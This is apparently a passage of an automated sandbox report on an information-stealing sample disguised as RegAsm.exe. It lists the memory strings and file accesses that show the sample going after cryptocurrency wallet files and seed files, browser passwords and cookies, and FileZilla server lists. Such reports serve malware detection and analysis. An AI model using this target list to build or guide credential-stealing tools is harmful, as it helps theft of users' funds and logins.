Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000D12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000C9B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: evokeedgellc.coms\AppData\Roaming\Binance\simple-storage.json
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000D12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000D12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000D12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000D12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000D12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000D12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000D12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000D12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
